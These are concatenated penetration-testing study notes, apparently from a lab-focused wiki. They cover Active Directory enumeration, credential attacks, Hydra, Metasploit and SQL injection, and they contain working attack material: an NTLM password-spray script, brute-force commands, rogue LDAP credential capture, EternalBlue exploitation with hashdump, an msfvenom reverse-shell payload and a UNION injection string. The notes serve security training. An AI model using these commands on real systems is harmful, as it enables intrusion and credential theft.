Get-DomainSID
`
Get Domain Controllers
```PowerShell
Get-ADDomainController
Get-NetDomainController


Get-NetDomainController -Identity <DomainName>




```

## Detailed Domain Info

Get Domain Policy (might be deprecated)
`PowerShell
Get-DomainPolicy
`
Get Domain Shares
```PowerShell
Find-DomainShare


Find-DomainShare -CheckShareAccess




```
Get GPOs
```PowerShell
Get-NetGPO


Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPO -GPOname <GUID of GPO>




`
Display OUs
```PowerShell
Get-NetOU
`
Display ACLs
`PowerShell
Get-ObjectAcl -SamAccountName <Account Name> -ResolveGUIDs
`
Find Interesting Access Control Entries
`PowerShell
Invoke-ACLScanner -ResolveGUIDs
`
Display ACL of Specified Path
`PowerShell
Get-PathAcl -Path "\\Path\Of\A\Share"
`
Display Domains of Forest
`PowerShell
Get-NetForestDomain
`
Display Domain Trust (may be deprecated)
```PowerShell
Get-ADTrust -Filter *


Get-ADTrust -Identity <DomainName>




`
Display Local AppLocker Effective Policy
```PowerShell
Get-AppLockerPolicy -Effective
`

## Computer Info

Display Domain Computers
`PowerShell
Get-ADComputer -Filter * -Properties *
`
More Detailed All Computer Info
`PowerShell
Get-NetComputer
`

## User Info

Get User Info
```PowerShell
Get-NetUser


Get-NetUser -SamAccountName <user>
Get-NetUser | select cn




`
Get Logged on User Info
```PowerShell
Get-NetLoggedon -ComputerName <ComputerName>
`
Get Session Info for Machine
`PowerShell
Get-NetSession -ComputerName <ComputerName>
`
Get Machines Where Current User is Logged In
`PowerShell
Find-DomainUserLocation
`
Get Detailed User Info
`PowerShell
Get-ADUser -Properties * -Filter *
`

## Group Info

Get Members of a Specified Group
`PowerShell
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
`
Display All Groups
`PowerShell
Get-NetGroup
`
Display Detailed Info on All Groups
`PowerShell
Get-ADGroup -Properties * -Filter *
`

## User Hunting

Find all Machines Where Current User is Local Admin
`PowerShell
Find-LocalAdminAccess -Verbose
`
Find Local Admins on Machines
`PowerShell
Invoke-EnumerateLocalAdmin -Verbose
`
Find Machines Where Domain Admin or Specified User Has Session
```PowerShell
Invoke-UserHunter


Invoke-UserHunter -GroupName <GroupName>
Invoke-UserHunter -CheckAccess


Invoke-UserHunter -Stealth







```

## Loot Hunting

Use Domain Account to download list of all filenames in the network
```PowerShell


Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string ‘^(.*) t-’ | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}




```

## PowerView Resources
* https://powersploit.readthedocs.io/en/latest/Recon/
* https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
* https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
* https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
* http://www.harmj0y.net/blog/tag/powerview/
* http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
* http://www.harmj0y.net/blog/redteaming/powerview-2-0/
* http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
* http://www.slideshare.net/harmj0y/i-have-the-powerview
* https://adsecurity.org/?p=2535
* https://www.youtube.com/watch?v=rpwrKhgMd7E
* Powerview like program for systems without powershell https://github.com/mubix/netview
https://www.hackingarticles.in/active-directory-enumeration-powerview/
* [PowerShell Port Scanner](https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/)



            

          

      

      

    

  

    
      
          
            
  # Windows Post Exploitation Discovery

## Description

Techniques and tools for post-exploitation discovery using native Windows tools


	[Background](#background)


	[Techniques](#techniques)


	[Tools]
* [System Info with CMD](#system-info-with-cmd)
* [Network/Domain Info with CMD](#networkdomain-info-with-cmd)
* [Local User Info with CMD](#local-user-info-with-cmd)
* [Domain User Info with CMD](#domain-user-info-with-cmd)
* [Enumerating with PowerShell](#enumerating-with-powershell)


	[Resources](#resources)




## Background

Windows post-exploitation techniques during a red-team engagement often involve discovering and leveraging weaknesses in the target environment, such as misconfigurations, unpatched vulnerabilities, or insecure permissions, to further exploit and compromise the system. These discoveries can include locating stored credentials, identifying vulnerable services or applications, enumerating network resources, or discovering ways to move laterally within the network. By leveraging these post-exploitation findings, attackers can extend their control over the compromised system and potentially expand their reach to other interconnected systems within the target environment.

## Techniques


	Identify current user ID and privileges


	Identify network connections (for lateral movement)


	Identify Running processes


	Identify Chron jobs/scheduled tasks


	Identify if Active Directory environment then identify users/groups/computers if in cloud or on-prem


	If not AD, then find applications, firewalls, AV


	Common Windows commandss to run on system:
* whoami
* tasklist
* systeminfo
* systeminfo && whoami /all




## System Info with CMD


Description                          | Command             | Example                                                                                                          |



|--------------------------------------|———————|------------------------------------------------------------------------------------------------------------------|
| System info                          | systeminfo        | systeminfo                                                                                                     |
| OS Name/Version                      | systeminfo        | systeminfo &#124; findstr /B /C:”OS Name” /C:”OS Version                                                     |
| System drives                        | wmic logicaldisk  | wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber       |
| Connected Devices                    | wmic logicaldisk  | wmic logicaldisk get caption,description,providername                                                          |
| System Environment Table             | set               | set                                                                                                            |
| Running System Processes             | tasklist          | tasklist /v                                                                                                    |
| Services Running Inside Each Process | tasklist          | tasklist /svc                                                                                                  |
| Attributes of All Running Processes  | wmic process list | wmic process list full                                                                                         |
| Started Windows Services             | net start         | net start                                                                                                      |
| Scheduled Jobs                       | schtasks          | schtasks /query /fo LIST /v                                                                                    |
| Windows Patches                      | wmic qfe          | wmic qfe get Caption,Description,HotFixID,InstalledOn                                                          |
| Installed Application Names          | wmic product      | wmic product get name                                                                                          |

## Network/Domain Info with CMD


Description                         | Command    | Example                                                                                      |



|-------------------------------------|————|----------------------------------------------------------------------------------------------|
| IP and Interfaces                   | ipconfig | ipconfig /all                                                                              |
| Copy IP info to clipboard           | ipconfig | ipconfig &#124; clip                                                                     |
| Routing Table                       | route    | route print                                                                                |
| ARP Table                           | arp      | arp -a                                                                                     |
| Active TCP Connections              | netstat  | netstat -an                                                                                |
| TCP and UDP activity every 1 second | netstat  | netstat -naob 1 &#124; find “<IPADRR or PORT>                                            |
| Get domain                          | echo     | echo %USERDOMAIN%                                                                          |
| Domain Logon Server                 | echo     | echo %LOGONSERVER%                                                                         |
| Domain Password Policy              | net      | net accounts /domain                                                                       |
| Local Password Policy               | net      | net accounts                                                                               |
| DC Address, Domain Name, Roles      | wmic     | wmic ntdomain                                                                              |
| Trusted Domain                      | dsquery  | dsquery * -filter “(objectclass=TrustedDomain)” -attr trustpartner,flatname,trustdirection |
| Network Shares                      | net      | net share                                                                                  |
| View All Hosts in Domain/Workgroup  | net      | net view                                                                                   |
| Domain Trust Info                   | nltest   | nltest /trusted_domains                                                                    |

## Local User Info with CMD


Description                  | Command                       | Example                         |



|------------------------------|——————————-|---------------------------------|
| Username of Current User     | whoami or echo %USERNAME% | whoami                        |
| All whoami Access Token Info | whoami                      | whoami /all                   |
| Local Users                  | net                         | net users                     |
| Detailed User Info           | net                         | net user $USERNAME            |
| Users with RDP Priv          | qwinsta                     | qwinsta                       |
| Local Groups                 | net                         | net localgroup                |
| Local Administrators         | net                         | net localgroup administrators |

## Resources


	Awesome Windows Post Exploitation: <https://github.com/emilyanncr/Windows-Post-Exploitation>


	SANS PowerShell Port Scanner: <https://www.sans.org/blog/pen-test-poster-white-board-powershell-built-in-port-scanner/>


	A simple batch script with these commands: [toolsWinSysEnum.bat](https://github.com/EvolvingSysadmin/Penetration-Testing/blob/master/tools/WinSysEnum.bat)


	A simple CMD script that outputs these commands to txt is here: [toolsWinUserEnum.bat](https://github.com/EvolvingSysadmin/Penetration-Testing/blob/master/tools/WinUserEnum.bat)






            

          

      

      

    

  

    
      
          
            
  # Breaching Active Directory

Techniques for acquiring Active Directory credentials and enumerating Active Directory

## Techniques


	Techniques for breaching AD
* NTLM Authenticated Services
* LDAP Bind Credentials
* Authentication Relays
* Microsoft Deployment Toolkit
* Configuration Files
* Phishing


	OSINT services for finding AD credentials
* <https://stackoverflow.com/>
* <https://github.com/>
* Past breach credentials:



	<https://haveibeenpwned.com/>


	<https://www.dehashed.com/>











### NTLM and NetNTLM

New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users’ identities in AD


	HetHTLM services exposed to internet:
* On-premises Exchange/Outlook OWA
* RDP
* AD integrated VPN endpoints
* Internet facing web apps




### NTLM Brute Forcing


	Password spray script example:




```python
def password_spray(self, password, url):


print (“[*] Starting passwords spray attack using the following password: ” + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:


#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + “\” + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):


print (“[+] Valid credential pair found! Username: ” + user + ” Password: ” + password)
count += 1
continue





	if (self.verbose):
	
	if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
	print (“[-] Failed login with Username: ” + user)












print (“[*] Password spray attack completed, ” + str(count) + ” valid credential pairs found”)




```


	ntlm_passwordspray.py Usage: python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
* <userfile> - Textfile containing our usernames - “usernames.txt”
* <fqdn> - Fully qualified domain name associated with the organisation that we are attacking - “targetme.com”
* <password> - The password we want to use for our spraying attack - “Changeme123”
* <attackurl> - The URL of the application that supports Windows Authentication - “http://ntlmauth.targetme.com”




### LDAP

Lightweight Directory Access Protocol (LDAP) authentication is similar to NTLM authentication, but directly verifies credentials via a pair of AD credentials


	Attempt to recover the AD credentials used by the service to gain authenticated access to AD


	Common LDAP services:
* Gitlab
* Jenkins
* Custom-developed web applications
* Printers
* VPNs




### LDAP Pass-back Attacks


	Redirecting the LDAP server request in order to intercept the LDAP credentials


	Use netcat listener while sending LDAP request: nc -lvp 389


	Hosting a Rogue LDAP Server
* Install OpenLDAP: sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
* Configure server: sudo dpkg-reconfigure -p low slapd
* Create olcSaslSecProps.ldif file with:





	```bash
	#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred





```


	Patch LDAP server: sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart


	Test if configuration has been applied: ldapsearch -H ldap:// -x -LLL -s base -b “” supportedSASLMechanisms


	Run tcpdump to grab credentials: sudo tcpdump -SX -i breachad tcp port 389


	Run the test LDAP credentials in the GUI




### NetNTLM authentication used by SMB

The Server Message Block (SMB) protocol allows clients (like workstations) to communicate with a server (like a file share). In networks that use Microsoft AD, SMB governs everything from inter-network file-sharing to remote administration. Older versions of SMB have vulnerabilities.

Exploits for NetNTLM authentication with SMB:


	Intercept NTLM challenges and crack offline, though this is much slower than cracking NTLM hashes directly


	Man in the middle attack to intercept and relay the aythentication to gain an authenticated session and access to target


	Responder to attempt to intercept the NetNTLM


	LLMNR, NBT-NS, and WPAD


	Resonder listens to these requests and starts host servers like SMB, HTTP, SQL to capture and force authentication




To start responder: sudo responder -I tun0

systemd-resolve –interface breachad –set-dns 10.200.20.101 –set-domain za.tryhackme.com

### Microsoft Deployment Toolkit

MDT and SCCM

Usually, MDT is integrated with Microsoft’s System Center Configuration Manager (SCCM), which manages all updates for all Microsoft applications, services, and operating systems

Large organisations use PXE boot to allow new devices that are connected to the network to load and install the OS directly over a network connection. MDT can be used to create, manage, and host PXE boot images.

<https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/>

### Configuration Files

Web application config files
Service configuration files
Registry keys
Centrally deployed applications

There are several open source resources available for learning how to breach Active Directory. Some of the most popular resources include:

ADLab: ADLab is an open source Active Directory testing lab that provides a safe and isolated environment for testing and learning about Active Directory security.

Active Directory Attack Toolkit (ADAT): ADAT is an open source toolkit for penetration testing Active Directory environments.

BloodHound: BloodHound is an open source tool for visualizing the relationships and permissions within an Active Directory environment.

Mimikatz: Mimikatz is an open source tool for dumping and analyzing Windows credentials, including those stored in Active Directory.

Rubeus: Rubeus is an open source tool for performing various Active Directory-related attacks, including Kerberos abuse.

## Resources


	[Active Directory Exploitation Cheat Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)


	[Windows & Active Directory Exploitation Cheat Sheet and Command Reference :: Cas van Cooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/





)

https://infosecwriteups.com/active-directory-penetration-testing-cheatsheet-5f45aa5b44ff

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-methodology

https://cheatsheet.haax.fr/open-source-intelligence-osint/tools-and-methodology/methodology/

https://wadcoms.github.io/

## Credential Injection


	Credential Injection Using runas.exe:




`cmd
runas.exe /netonly /user:<domain>\<username> cmd.exe
`


	runas.exe usage:
* /netonly = do not authenticate against domain controller
* /usaer = domain credentials using FQDN
* cmd.exe = program to execute once credentials are injected


	dir \za.tryhackme.comSYSVOL v dir \<DC IP>SYSVOL
* dir \za.tryhackme.comSYSVOL attempts Kerberos authentication
* dir \<DC IP>SYSVOL attempts NTLM authentication



	Forcing NTLM helps avoid detection









	Resources: using NTLM authentication to authenticate to web applications: https://labs.f-secure.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/




https://www.hackingarticles.in/impacket-guide-smb-msrpc/
https://github.com/fortra/impacket




            

          

      

      

    

  

    
      
          
            
  # Burp Suite

This document contains

Burp Suite is web application penetration testing framework written in Java

## Background

Burp Suite is a comprehensive platform for web application security testing. It provides a range of features, including a web proxy, web spider, vulnerability scanner, and manual testing tools, to help security professionals and ethical hackers test the security of web applications.

## Installation


	Burp Suite installers: <https://portswigger.net/>


	FoxyProxy used to send requests to burp suite proxy: <https://getfoxyproxy.org/>


	Installing certificates: <http://burp/cert>




## Usage


	Burp Suite Features
* Proxy: intercept requests
* Repeater: modify requests
* Intruder: bruteforce/spray endpoints
* Decoder: decode/encorde payloads
* Comparer: compare data
* Sequencer: test for randomness
* Extender: use other modules written for Burp Suite


	[Burp Suite Installers](https://portswigger.net/burp/releases)


	Burp Proxy
* Burp Proxy intercepts website requests so they can be utilized in Burp Suite
* Use [FoxyProxy](https://getfoxyproxy.org/) to send browser requests to Burp Suite using the following settings (Use Proxy IP: 127.0.0.1 & Port: 8080 in FoxyProxy to send request to Burp Suite)
* For SSL use http://burp/cert, download cacert.der, add this certificate to about:preferences in FireFox or Chrome
* Use the Burp Browser by first going to Project options -> Misc -> Embedded Browser and checking the option Allow the embedded browser to run without a sandbox
* Right Click and select Add to Scope while in the Target Tab and add an Add rule in Proxy Options to ensure that URLs are in the target scope to help filter captured traffic


	Jython Interpreter in Burp extender




## Resources


	[Burp Suite Documentation](https://portswigger.net/burp/documentation)


	[Sans Burp Suite Cheat Sheet](/resources/sans-burp-suite.pdf)


	[Burp Suite for Pentesters](https://github.com/Ignitetechnologies/BurpSuite-For-Pentester)


	<https://github.com/xl7dev/BurpSuite/blob/master/CheatSheet.md>




The official Burp Suite documentation: https://portswigger.net/burp/documentation
PortSwigger’s blog: https://portswigger.net/blog/
The Burp Suite community: https://portswigger.net/community/
The Burp Suite support center: https://portswigger.net/support
The Burp Suite YouTube channel: https://www.youtube.com/channel/UCxlIPvCvSo2QZmI1cgL9d9g
The Burp Suite User Group on LinkedIn: https://www.linkedin.com/groups/4503164/
OWASP’s Burp Suite page: https://owasp.org/www-project-web-security-testing-guide/v2/5-Web_Application_Penetration_Testing/02-Application_Discovery/01-Reconnaissance/03-Proxies
Online courses and tutorials: Udemy, Pluralsight, and Coursera offer courses on Burp Suite and web application security.



            

          

      

      

    

  

    
      
          
            
  # Hydra

## Description

## Installation

## Usage

## Resources

“hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp”

hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.226.38 ftp

<https://medium.com/@gregIT/exploiting-simple-network-services-in-ctfs-ec8735be5eef>

<https://attack.mitre.org/techniques/T1210/>

<https://www.nextgov.com/cybersecurity/2019/10/nsa-warns-vulnerabilities-multiple-vpn-services/160456/>

<https://en.kali.tools/?p=220>

hydra -l <username> -P <full path to pass> 10.10.248.5 -t 4 ssh

-l = username
-P = password list
-t = number of threads

Web form: hydra -l <username> -P <wordlist> 10.10.248.5 http-post-form “/:username=^USER^&password=^PASS^:F=incorrect” -V

SSH: hydra -l <username> -P <full path to pass> 10.10.248.5 -t 4 ssh

hydra -l molly -P rockyou.txt 10.10.248.5 http-post-form “/login:username=^USER^&password=^PASS^:F=incorrect” -V

SecLists <https://github.com/danielmiessler/SecLists>

“hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV 10.10.214.108 ssh”

SECTION FUNCTION
hydra Runs the hydra tool
-t 16
Number of parallel connections per target
-l [user] Points to the user who’s account you’re trying to compromise
-P [path to dictionary] Points to the file containing the list of possible passwords
-vV
Sets verbose mode to very verbose, shows the login+pass combination for each attempt
[machine IP] The IP address of the target machine
ssh / protocol Sets the protocol



            

          

      

      

    

  

    
      
          
            
  # Linux Exploits



            

          

      

      

    

  

    
      
          
            
  # Metasploit

## Background

Metasploit is an open-source exploitation framework that provides a platform to automate and simplify the process of discovering, exploiting and reporting vulnerabilities in a target system. The framework integrates a large collection of exploits, payloads, and auxiliary modules to aid in a wide range of security testing tasks.

## Installation

## Usage

The steps for using Metasploit include:

Installing and setting up the Metasploit Framework on your computer.
Finding a target and determining what vulnerabilities it may have.
Selecting and configuring an appropriate exploit module in Metasploit.
Launching the exploit against the target and assessing the results.
Post-exploitation activities, such as gathering information, installing backdoors, or pivoting to other systems.

msfconsole
use
show options
info
search
search apache
search portscan
set PARAMETER_NAME VALUE
unset
setg
exploit -z
check
sessions -i
msfvenom
scanner/discovery/udp_sweep
msfdb init
db_status
workspace -h
Use msfdb to use stored information about current project/workspace
Common vulnerable services:


	HTTP


	FTP


	SMB


	SSH


	RDP




To exploit eternal blue:

msconsole
search eternalblue
use 0
show payloads
set payload 2
set RHOSTS {targetIP}
show options (ensure lhosts = {attackIP})
exploit
Upon session connection, use CTRL+Z to put session in background
use_shell_to_meterpreter
show options
set SESSION 1
sessions -u 1
hashdump

Msfvenom: used to generate payloads

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Meterpreter: metasploit payload with pentesting components
Show meterpreter payloads: msfvenom –list payloads | grep meterpreter

Meterpreter Commands

Core commands

background: Backgrounds the current session
exit: Terminate the Meterpreter session
guid: Get the session GUID (Globally Unique Identifier)
help: Displays the help menu
info: Displays information about a Post module
irb: Opens an interactive Ruby shell on the current session
load: Loads one or more Meterpreter extensions
migrate: Allows you to migrate Meterpreter to another process
run: Executes a Meterpreter script or Post module
sessions: Quickly switch to another session

File system commands

cd: Will change directory
ls: Will list files in the current directory (dir will also work)
pwd: Prints the current working directory
edit: will allow you to edit a file
cat: Will show the contents of a file to the screen
rm: Will delete the specified file
search: Will search for files
upload: Will upload a file or directory
download: Will download a file or directory

Networking commands

arp: Displays the host ARP (Address Resolution Protocol) cache
ifconfig: Displays network interfaces available on the target system
netstat: Displays the network connections
portfwd: Forwards a local port to a remote service
route: Allows you to view and modify the routing table

System commands

clearev: Clears the event logs
execute: Executes a command
getpid: Shows the current process identifier
getuid: Shows the user that Meterpreter is running as
kill: Terminates a process
pkill: Terminates processes by name
ps: Lists running processes
reboot: Reboots the remote computer
shell: Drops into a system command shell
shutdown: Shuts down the remote computer
sysinfo: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

idletime: Returns the number of seconds the remote user has been idle
keyscan_dump: Dumps the keystroke buffer
keyscan_start: Starts capturing keystrokes
keyscan_stop: Stops capturing keystrokes
screenshare: Allows you to watch the remote user’s desktop in real time
screenshot: Grabs a screenshot of the interactive desktop
record_mic: Records audio from the default microphone for X seconds
webcam_chat: Starts a video chat
webcam_list: Lists webcams
webcam_snap: Takes a snapshot from the specified webcam
webcam_stream: Plays a video stream from the specified webcam
getsystem: Attempts to elevate your privilege to that of local system
hashdump: Dumps the contents of the SAM database

Meterpreter Post Exploitation Commands


	getuid: user Meterpreter using


	ps: running processes


	Migrate: interacting with other processes: migrate PID


	Hashdump: dump content of SAM to get NTLM hashes


	Search: locate files: search -f */txt


	getsystem


	Load command


	Common paramaters:
* RHOSTS
* RPORT
* PAYLOAD
* LHOST
* LPORT
* SESSION




## Resources


	<https://docs.metasploit.com/>




<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md>
<https://github.com/swisskyrepo/PayloadsAllTheThings>
<https://github.com/security-cheatsheet/metasploit-cheat-sheet>
<https://github.com/spy86/Metasploit-Cheat-Sheet>


	The Metasploit official documentation, which provides in-depth information on how to use the tool and its various features.


	Metasploit Unleashed, a free online resource that provides a comprehensive guide to using Metasploit, including tutorials and examples.


	Metasploit YouTube channel, which features a variety of tutorials and demonstrations on how to use Metasploit.


	Online forums and communities dedicated to Metasploit, where users can ask questions and share information.


	Metasploit Pro, a paid version of the tool that includes additional features and support options. This can be a good resource for users who want additional assistance and resources for using Metasploit.




https://nitesculucian.github.io/2018/12/01/metasploit-cheat-sheet/

https://github.com/security-cheatsheet/metasploit-cheat-sheet

https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md

https://subscription.packtpub.com/book/security/9781838980078/15/ch15lvl1sec96/cheat-sheets-for-metasploit-and-penetration-testing



            

          

      

      

    

  

    
      
          
            
  # Nessus


	Installation: <https://docs.tenable.com/nessus/Content/Install.htm>




## Background

Nessus is a popular and widely-used vulnerability scanner developed by Tenable, Inc. It is used to identify and assess potential security vulnerabilities in networks, systems, and applications. Nessus scans target systems and applications, identifies vulnerabilities and configuration errors, and provides detailed reports that highlight the most critical security issues. The tool can also be used to monitor and track the status of vulnerabilities over time to ensure that they are being addressed and remediated in a timely manner. Nessus is highly configurable and supports a wide range of platforms and operating systems, making it a popular choice for organizations of all sizes and industries.

## Usage

To run a Nessus vulnerability scan, you will need to complete the following steps:

Install Nessus: Download and install the Nessus software on a computer that will serve as your Nessus scanner.

Configure the Scanner: Configure the Nessus scanner by setting up the appropriate options, such as the scan range, scan speed, and reporting options.

Create a Scan Policy: Create a scan policy that defines the types of checks that will be performed during the scan. This can include vulnerability checks, compliance checks, and others.

Launch the Scan: Launch the scan by specifying the target systems to be scanned, the scan policy to be used, and any other relevant options.

Review the Results: Review the results of the scan to identify any vulnerabilities or other security issues. This can include viewing detailed information about each vulnerability, such as the severity, risk level, and recommended remediation steps.

Report the Results: Generate a report of the scan results to share with stakeholders or to use for remediation purposes.

These are the basic steps for performing a Nessus vulnerability scan. The exact steps may vary depending on your specific requirements and the version of Nessus you are using, but these steps provide a good starting point for getting started with Nessus.

Regenerate response

## Guides

Nessus User Guide: The official Nessus User Guide provides a comprehensive overview of how to use Nessus, including installation and configuration instructions, how to perform scans, and how to interpret and act on scan results.

Nessus Quick Start Guide: The Nessus Quick Start Guide provides a quick and easy way to get started with Nessus. This guide provides step-by-step instructions for installing and configuring Nessus, as well as performing your first scan.

Nessus Tutorials: Tenable provides a series of tutorials that cover a wide range of topics related to using Nessus. These tutorials are designed to help users get up and running with Nessus quickly and easily.

Nessus FAQ: The Nessus FAQ provides answers to common questions about using Nessus, including installation and configuration questions, scan and result questions, and more.

Nessus Best Practices Guide: The Nessus Best Practices Guide provides recommendations for using Nessus effectively, including best practices for scan configuration, scan scheduling, and report generation.

## Resources

Tenable Community: The official Tenable community is a great place to start for anyone looking to learn more about Nessus and get help with its use. The community provides a wealth of information, including tutorials, forums, and best practices for using Nessus.

Tenable Documentation: The official Tenable documentation provides a comprehensive guide to using Nessus, including installation and configuration instructions, user guides, and tutorials.

Nessus Certified Professional Program: The Nessus Certified Professional program is a certification program for security professionals who use Nessus. The program provides training and certification for individuals who want to demonstrate their expertise in using Nessus for vulnerability assessment and management.

Nessus Online Training: Tenable offers online training courses for Nessus, including courses for beginners and advanced users. These courses provide hands-on training and help users understand how to use Nessus effectively.

Nessus User Group: The Nessus User Group is a community of Nessus users who share best practices, tips, and tricks for using Nessus. The group provides a platform for users to ask questions and share their experiences with other Nessus users.



            

          

      

      

    

  

    
      
          
            
  # Network Service Attacks

## Description

Techniques for exploiting common network services

## Techniques


	[Service Enumeration](#service-enumeration)


	[SMB](#smb)


	[Telnet](#telnet)


	[FTP](#ftp)


	[NFS](#nfs)


	[SMTP](#smtp)


	[MySQL](#mysql)




## Service Enumeration


	Use NMAP, Enum4linux




## SMB

Installation of smbclient: smbclient //[IP]/[SHARE] with the tags -U [name] : to specify the user -p [port] : to specify the port

## Telnet

telnet [IP] [port]

<https://www.cvedetails.com/>
<https://cve.mitre.org/>

## FTP

ftp [ip]

ftp arp poisoning: <https://www.jscape.com/blog/bid/91906/Countering-Packet-Sniffers-Using-Encrypted-FTP>

## NFS

/usr/sbin/showmount -e [ip]

NFS-Common

<https://tryhackme.com/room/networkservices2>

Mounting NFS shares

sudo mount -t nfs IP:share /tmp/mount/ -nolock

Tag Function
sudo Run as root
mount Execute the mount command
-t nfs Type of device to mount, then specifying that it’s NFS
IP:share The IP Address of the NFS server, and the name of the share we wish to mount
-nolock Specifies not to use NLM locking

root_squash

## SMTP

<https://www.afternerd.com/blog/smtp/>

“smtp_version” module in MetaSploit

Enumerate users using SMTP: RFY (confirming the names of valid users) and EXPN (which reveals the actual address of user’s aliases and lists of e-mail (mailing lists)

Version scanner: auxiliary/scanner/smtp/smtp_version

## MySQL

<https://dev.mysql.com/doc/dev/mysql-server/latest/PAGE_SQL_EXECUTION.html>

<https://www.w3schools.com/php/php_mysql_intro.asp>

To install client: sudo apt install default-mysql-client
nmap’s mysql-enum script: <https://nmap.org/nsedoc/scripts/mysql-enum.html> or <https://www.exploit-db.com/exploits/23081>

Connect to mysql database: mysql -h [IP] -u [username] -p

mysql schema dump: auxiliary/scanner/mysql/mysql_schemadump
hash dump: auxiliary/scanner/mysql/mysql_hashdump

## Resources



            

          

      

      

    

  

    
      
          
            
  # OWASP ZAP



            

          

      

      

    

  

    
      
          
            
  # Phishing

## Description

Tools for testing email security

## Tools

### GoPhish


	[GoPhish](https://getgophish.com/) is an open-source phishing framework that allows security teams to simulate phishing attacks and measure the effectiveness of their phishing awareness training programs.




### PhishingFrenzy


	[PhishingFrenzy](https://github.com/pentestgeek/phishing-frenzy) is a free and open-source phishing framework that provides a simple and user-friendly interface for creating and launching phishing campaigns.




### THOR


	[The Honeypot for Open Research](https://www.honeynet.org/) is an open-source framework for phishing simulation and analysis.




### Social-Engineer Toolkit (SET)


	[Social-Engineer Toolkit](https://github.com/trustedsec/social-engineer-toolkit) is a popular open-source tool for simulating various types of phishing attacks, including email-based phishing, web-based phishing, and social engineering attacks.




### PhishX

[PhishX](https://github.com/Userphish/PhishX) is a free and open-source phishing simulation tool that enables organizations to launch phishing campaigns and assess the effectiveness of their security awareness training programs.

### MailSniper

[MailSniper](https://github.com/dafthack/MailSniper) is an open-source tool for searching and extracting email addresses from different sources, including publicly available data, for use in phishing simulations.

## Resources


	Add the following to the phishing page:
* https://github.com/EvolvingSysadmin/Phishing-Frameworks
* https://github.com/EvolvingSysadmin/Gophish-Phishing-Framework
* https://tryhackme.com/room/phishingyl






            

          

      

      

    

  

    
      
          
            
  # Initial Access



            

          

      

      

    

  

    
      
          
            
  # SQL Injection

## Description

SQL Injection is a type of security vulnerability that occurs in web applications that use SQL as a back-end database. It allows an attacker to inject malicious code into an SQL statement and execute it on the database. This can result in unauthorized access to sensitive information, data modification, or even data deletion. The vulnerability arises when user-supplied input is not properly validated and escaped before being used in an SQL query. By exploiting SQL Injection, an attacker can bypass authentication mechanisms, retrieve sensitive information such as passwords, and execute arbitrary commands on the database server.

## Techniques

The following are the steps for using SQL Injection as a penetration tester:

Discover: Find out if the web application is vulnerable to SQL Injection by manually sending crafted input to the application and observing its behavior.

Exploit: If the application is found to be vulnerable, use tools and techniques to exploit the vulnerability and gain access to sensitive data.

Assessment: Once the vulnerability has been exploited, assess the impact of the vulnerability by examining the data that has been exposed, the privileges that have been gained, and the potential for further exploitation.

Reporting: Provide a report to the organization that details the vulnerability, its impact, and the recommended remediation steps.

## Types

UNION-based SQL injection: This type of SQL injection exploits the UNION SQL operator to combine the results of multiple SELECT statements into a single result set.

Error-based SQL injection: This type of SQL injection is based on error messages generated by the database in response to malicious input.

Blind SQL injection: This type of SQL injection is performed when an attacker is unable to see the results of their attacks directly, but must infer the results through indirect means such as observing changes in application behavior.

Boolean-based SQL injection: This type of SQL injection is based on the use of Boolean operators to manipulate the behavior of an SQL statement.

Time-based SQL injection: This type of SQL injection exploits the time it takes for an SQL statement to execute to extract information from a database.

## Resources

select * from users;

select username,password from users;

select * from users where username=’admin’;

select * from users where username != ‘admin’;

select * from users where username=’admin’ or username=’jon’;

select * from users where username=’admin’ and password=’p4ssword’;

select * from users where username like ‘a%’;

select * from users where username like ‘%n’;

select * from users where username like ‘%mi%’;

The UNION statement combines the results of two or more SELECT statements to retrieve data

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

insert into users (username,password) values (‘bob’,’password123’);

update users SET username=’root’,password=’pass123’ where username=’admin’;

delete from users where username=’martin’;

delete from users;

In-Band SQL Injection

Error-Based SQL Injection

Union-Based SQL Injection

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = ‘sqli_one’

